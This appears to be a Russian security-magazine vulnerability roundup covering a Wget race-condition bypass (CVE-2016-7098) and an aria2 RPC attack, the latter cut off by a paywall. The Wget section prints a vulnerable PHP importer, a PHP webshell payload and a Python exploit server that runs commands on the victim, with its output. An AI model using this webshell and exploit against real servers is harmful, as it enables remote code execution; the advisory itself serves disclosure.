Сегодня мы разберем уязвимости в популярных утилитах для скачивания файлов — Wget и aria2. При соблюдении некоторых условий атакующий может выполнить произвольный код. Также разберем ошибку в LSASS.EXE, которая позволяет как минимум перевести систему в режим перезагрузки, а как максимум — получить повышение привилегий.

 

Access List Bypass / Race Condition в Wget

 

CVSSv2

Нет

 

BRIEF

Дата релиза: 24 ноября 2016 года
Автор: Дэвид Голунски (Dawid Golunski)
CVE: CVE-2016-7098

Я думаю, нет смысла рассказывать, что такое Wget, — все, кто пользовался командной строкой UNIX или Linux, неоднократно запускали эту утилиту. Обнаружение уязвимостей в столь популярных программах никогда не остается без внимания.

Wget версии 1.17 или младше в режиме зеркалирования (mirroring) или рекурсивной загрузки подвержена уязвимости типа race condition, что позволяет удаленному атакующему обойти ограничения, указанные через параметр -A. Таким образом атакующий может поместить вредоносный файл в систему. В зависимости от приложения и директории загрузки такая ошибка может привести к плачевным последствиям — к примеру, выполнению кода.

Когда Wget используется в режиме рекурсивной загрузки или зеркалирования, то согласно документации может получить следующий список параметров доступа. Вот параметры запрета и разрешения рекурсивной загрузки:

-A acclist --accept acclist
-R rejlist --reject rejlist

Далее указывается разделенный запятыми список суффиксов или паттернов имен файлов, которые следует или не следует загружать. Любые специальные символы *, ?, [ или ], обнаруженные в одном из элементов acclist или rejlist, будут интерпретироваться скорее как паттерн, чем как суффикс.

Например, это можно использовать для загрузки только JPG:

# wget -r -nH -A '*.jpg' http://attackersvr/test.php
Resolving attackersvr... 192.168.57.1
Connecting to attackersvr|192.168.57.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: ‘test.php’
15:05:46 (27.3 B/s) - ‘test.php’ saved [52]

В конце будет удален test.php, потому что согласно правилу его не следует загружать.

Несмотря на то что Wget удаляет файл в конце загрузки, это создает race condition. Атакующий, контролируя удаленный сервер, может преднамеренно замедлить загрузку так, чтобы у него появился шанс использовать вредоносный файл перед тем, как тот будет удален.

 

EXPLOIT

Ниже показано уязвимое веб-приложение, которое использует Wget для загрузки изображений с предоставленного пользователем адреса.

<?php
    // Уязвимое приложение [image_importer.php]
    // Использование Wget для импортирования пользовательских изображений с предоставленного удаленного URL
    // Работает только&#x2004;с JPG-файлами (опция -A wget)

    if ( isset($_GET['imgurl']) ) {
            $URL = escapeshellarg($_GET['imgurl']);
    } else {
            die("imgurl parameter missing");
    }

    if ( !file_exists("image_uploads") ) {
            mkdir("image_uploads");
    }

    // Загружает JPG пользователя в директорию /image_uploads
    system("wget -r -nH -P image_uploads -A '*.jpg' $URL 2>&1");
?>

Пример вредоносного URL:

https://victimsvr/image_importer.php?imgurl= href="http://images/logo.jpg">http://images/logo.jpg

Файл logo.jpg будет загружен и размещен по адресу https://victimsvr/images_uploads/logo.jpg. Белый список Wget гарантирует, что будут загружены только файлы с расширением jpg.

Тем не менее уязвимость race condition в Wget позволяет атакующему загрузить произвольный скрипт (к примеру, на PHP) в директорию /image_uploads и успешно выполнить код. Ниже представлены только части, полный код эксплоита ты можешь скачать с сайта его автора.

Полезная нагрузка:

PAYLOAD='''
<?php
    // Our webshell
    system($_GET["cmd"]);
    system("touch /tmp/wgethack");
?>
'''
...
CMD="/usr/bin/id"

Поднять свой HTTP-сервер:

class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
    def do_GET(self):
        # Отправить полезную нагрузку на GET-запрос
        print "[+] Got connection from wget requesting " + self.path + " via GET :)\n"
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()
        self.wfile.write(PAYLOAD)
        print "\n[+] PHP webshell payload was sent.\n"

        # Подождать, пока файл будет размещен на диске удаленного хоста
        print "[+} Sleep for 2s to make sure the file has been flushed to the disk on the target...\n"
        time.sleep(2)

        # Отправить запрос к загруженному webshell
        print "[+} File '" + self.path + "' should be saved by now :)\n"
        print "[+} Executing " + CMD + " via webshell URL: " + WEBSHELL_URL + "?cmd=" + CMD + "\n"
        print "[+} Command result: "
        print urllib2.urlopen(WEBSHELL_URL+"?cmd="+CMD).read()

        print "[+} All done. Closing HTTP connection...\n"
        # Соединение будет закрыто по возвращении хендлера request
        return

handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)
handler.serve_forever()

Атакующий запускает этот эксплоит на своем сервере (attackersvr) и указывает его адрес в уязвимом скрипте image_importer.php:

https://victimsvr/image_importer.php?imgurl= href="http://attackersvr/webshell.php">http://attackersvr/webshell.php

В результате получается следующий вывод:

root@attackersvr:~# ./wget-race-exploit.py
Wget < 1.18 Access List Bypass / Race Condition PoC Exploit
CVE-2016-7098
Dawid Golunski
https://legalhackers.com
[+} Exploit Web server started on HTTP port 80. Waiting for wget to connect...
[+] Got connection from wget requesting /webshell.php via GET :)
victimsvr - - [24/Nov/2016 00:46:18] "GET /webshell.php HTTP/1.1" 200 -
[+] PHP webshell payload was sent.
[+} Sleep for 2s to make sure the file has been flushed to the disk on the target...
[+} File '/webshell.php' should be saved by now :)
[+} Executing /usr/bin/id via webshell URL: http://victimsvr/image_uploads/webshell.php?cmd=/usr/bin/id
[+} Command result:
uid=33(www-data) gid=33(www-data) groups=33(www-data),1002(nagcmd)
[+} All done. Closing HTTP connection...

Оригинальный отчет доступен на сайте автора эксплоита.

 

TARGETS

GNU Wget версии младше 1.18.

 

SOLUTION

Производитель выпустил исправление.

 

Взлом aria2 RPC-демона

 

CVSSv2

Нет

 

BRIEF

Дата релиза: 21 ноября 2016 года
Автор: Риктер Чжэн (Ricter Zheng)
CVE: нет

Aria2 — это популярный консольный загрузчик файлов, который поддерживает большое количество протоколов (HTTP, HTTPS, FTP, BitTorrent, Metalink). Aria2 RPC Server может принимать запросы из многих источников в обход различных мер безопасности. К примеру, параметры --rpc-secret, --rpc-user, --rpc-passwd могут быть взломаны с помощью социальной инженерии. А через aria2 RPC Server атакующий сможет провести SSRF, запись в произвольный файл и другие атаки для получения привилегий на сервере.

Aria2 имеет встроенный интерфейс XML-RPC и позволяет запустить RPC-сервер. Для этого существует опция --enable-rpc.

 

EXPLOIT

Запись в произвольный файл

Продолжение доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все материалы на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи один материал

Заинтересовала информация, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для материалов, опубликованных более двух месяцев назад.


Оставить мнение

Check Also

Разработчики анонсировали второй патч для проблемы Drupalgeddon2

Авторы Drupal анонсировали скорый выход еще одного внеочередного критического обновления, …